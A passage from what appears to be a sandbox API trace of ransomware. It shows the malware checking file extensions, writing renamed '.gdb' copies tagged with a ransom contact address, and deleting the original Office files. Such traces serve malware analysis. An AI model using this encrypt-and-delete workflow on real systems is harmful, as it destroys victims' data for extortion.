Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.122] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0121.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.122] lstrlenW (lpString=".doc") returned 4 [0121.122] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.122] lstrlenW (lpString=".docx") returned 5 [0121.122] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.122] lstrlenW (lpString=".pdf") returned 4 [0121.122] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.122] lstrlenW (lpString=".xls") returned 4 [0121.122] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.122] lstrlenW (lpString=".xlsx") returned 5 [0121.122] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.122] lstrlenW (lpString=".ppt") returned 4 [0121.122] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.122] lstrlenW (lpString=".zip") returned 4 [0121.122] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.122] lstrlenW (lpString=".rar") returned 4 [0121.122] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.122] lstrlenW (lpString=".bz2") returned 4 [0121.122] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.122] lstrlenW (lpString=".7z") returned 3 [0121.122] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.122] lstrlenW (lpString=".dbf") returned 4 [0121.122] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.122] lstrlenW (lpString=".1cd") returned 4 [0121.122] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.122] lstrlenW (lpString=".jpg") returned 4 [0121.122] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.123] lstrlenW (lpString=".doc") returned 4 [0121.123] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.123] lstrlenW (lpString=".docx") returned 5 [0121.123] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.123] lstrlenW (lpString=".pdf") returned 4 [0121.123] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.123] lstrlenW (lpString=".xls") returned 4 [0121.123] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.123] lstrlenW (lpString=".xlsx") returned 5 [0121.123] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.123] lstrlenW (lpString=".ppt") returned 4 [0121.123] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.123] lstrlenW (lpString=".zip") returned 4 [0121.123] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.123] lstrlenW (lpString=".rar") returned 4 [0121.123] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.123] lstrlenW (lpString=".bz2") returned 4 [0121.123] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.123] lstrlenW (lpString=".7z") returned 3 [0121.123] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.123] lstrlenW (lpString=".dbf") returned 4 [0121.123] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.123] lstrlenW (lpString=".1cd") returned 4 [0121.123] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0121.123] lstrlenW (lpString=".jpg") returned 4 [0121.123] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.123] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.123] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0121.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.124] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=16852) returned 1 [0121.124] CloseHandle (hObject=0x1cc) returned 1 [0121.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0121.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.125] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.125] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0121.125] GetLastError () returned 0x0 [0121.125] ReadFile (in: hFile=0x1cc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x41d4, lpOverlapped=0x0) returned 1 [0121.126] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x41e0, lpOverlapped=0x0) returned 1 [0121.127] ReadFile (in: hFile=0x1cc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0121.127] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xf0, lpOverlapped=0x0) returned 1 [0121.128] SetEndOfFile (hFile=0x1f0) returned 1 [0121.128] CloseHandle (hObject=0x1f0) returned 1 [0121.128] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.128] SetEndOfFile (hFile=0x1cc) returned 1 [0121.129] CloseHandle (hObject=0x1cc) returned 1 [0121.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.129] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0121.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.130] lstrlenW (lpString=".doc") returned 4 [0121.130] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString=".docx") returned 5 [0121.130] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0121.130] lstrlenW (lpString=".pdf") returned 4 [0121.130] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString=".xls") returned 4 [0121.130] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString=".xlsx") returned 5 [0121.130] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0121.130] lstrlenW (lpString=".ppt") returned 4 [0121.130] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.130] lstrlenW (lpString=".zip") returned 4 [0121.130] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.130] lstrlenW (lpString=".rar") returned 4 [0121.130] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString=".bz2") returned 4 [0121.130] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString=".7z") returned 3 [0121.130] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.130] lstrlenW (lpString=".dbf") returned 4 [0121.130] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.130] lstrlenW (lpString=".1cd") returned 4 [0121.130] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.130] lstrlenW (lpString=".jpg") returned 4 [0121.130] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.130] lstrlenW (lpString=".doc") returned 4 [0121.130] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString=".docx") returned 5 [0121.130] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0121.130] lstrlenW (lpString=".pdf") returned 4 [0121.130] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString=".xls") returned 4 [0121.130] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.130] lstrlenW (lpString=".xlsx") returned 5 [0121.130] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0121.130] lstrlenW (lpString=".ppt") returned 4 [0121.131] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.131] lstrlenW (lpString=".zip") returned 4 [0121.131] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.131] lstrlenW (lpString=".rar") returned 4 [0121.131] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.131] lstrlenW (lpString=".bz2") returned 4 [0121.131] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.131] lstrlenW (lpString=".7z") returned 3 [0121.131] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.131] lstrlenW (lpString=".dbf") returned 4 [0121.131] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.131] lstrlenW (lpString=".1cd") returned 4 [0121.131] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0121.131] lstrlenW (lpString=".jpg") returned 4 [0121.131] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.131] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.131] lstrlenW (lpString="SETUP.XML") returned 9 [0121.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.131] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=31094) returned 1 [0121.131] CloseHandle (hObject=0x1cc) returned 1 [0121.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0121.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.132] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.132] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0121.498] GetLastError () returned 0x0 [0121.498] ReadFile (in: hFile=0x1cc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x7976, lpOverlapped=0x0) returned 1 [0121.751] WriteFile (in: hFile=0x198, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x7980, lpOverlapped=0x0) returned 1 [0121.779] ReadFile (in: hFile=0x1cc, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0121.779] WriteFile (in: hFile=0x198, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0121.779] SetEndOfFile (hFile=0x198) returned 1 [0121.779] CloseHandle (hObject=0x198) returned 1 [0121.780] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.780] SetEndOfFile (hFile=0x1cc) returned 1 [0121.781] CloseHandle (hObject=0x1cc) returned 1 [0121.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.782] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0121.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.782] lstrlenW (lpString=".doc") returned 4 [0121.782] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.782] lstrlenW (lpString=".docx") returned 5 [0121.782] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.782] lstrlenW (lpString=".pdf") returned 4 [0121.782] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.782] lstrlenW (lpString=".xls") returned 4 [0121.782] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.782] lstrlenW (lpString=".xlsx") returned 5 [0121.782] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.782] lstrlenW (lpString=".ppt") returned 4 [0121.782] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.782] lstrlenW (lpString=".zip") returned 4 [0121.782] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.782] lstrlenW (lpString=".rar") returned 4 [0121.782] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.782] lstrlenW (lpString=".bz2") returned 4 [0121.782] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.783] lstrlenW (lpString=".7z") returned 3 [0121.783] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.783] lstrlenW (lpString=".dbf") returned 4 [0121.783] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.783] lstrlenW (lpString=".1cd") returned 4 [0121.783] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.783] lstrlenW (lpString=".jpg") returned 4 [0121.783] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.783] lstrlenW (lpString=".doc") returned 4 [0121.783] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.783] lstrlenW (lpString=".docx") returned 5 [0121.783] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.783] lstrlenW (lpString=".pdf") returned 4 [0121.783] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.783] lstrlenW (lpString=".xls") returned 4 [0121.783] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.783] lstrlenW (lpString=".xlsx") returned 5 [0121.783] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.783] lstrlenW (lpString=".ppt") returned 4 [0121.783] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.783] lstrlenW (lpString=".zip") returned 4 [0121.783] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.783] lstrlenW (lpString=".rar") returned 4 [0121.783] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.783] lstrlenW (lpString=".bz2") returned 4 [0121.783] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.783] lstrlenW (lpString=".7z") returned 3 [0121.783] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.784] lstrlenW (lpString=".dbf") returned 4 [0121.784] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.784] lstrlenW (lpString=".1cd") returned 4 [0121.784] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0121.784] lstrlenW (lpString=".jpg") returned 4 [0121.784] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.784] lstrcmpiW (lpString1=".DAT", lpString2=".gdb") returned -1 [0121.784] lstrlenW (lpString="STOCKS.DAT") returned 10 [0121.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0121.787] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=39017) returned 1 [0121.787] CloseHandle (hObject=0x198) returned 1 [0121.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0121.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0121.788] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.788] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0121.788] GetLastError () returned 0x0 [0121.788] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x9869, lpOverlapped=0x0) returned 1 [0121.799] WriteFile (in: hFile=0x21c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x204fac4, 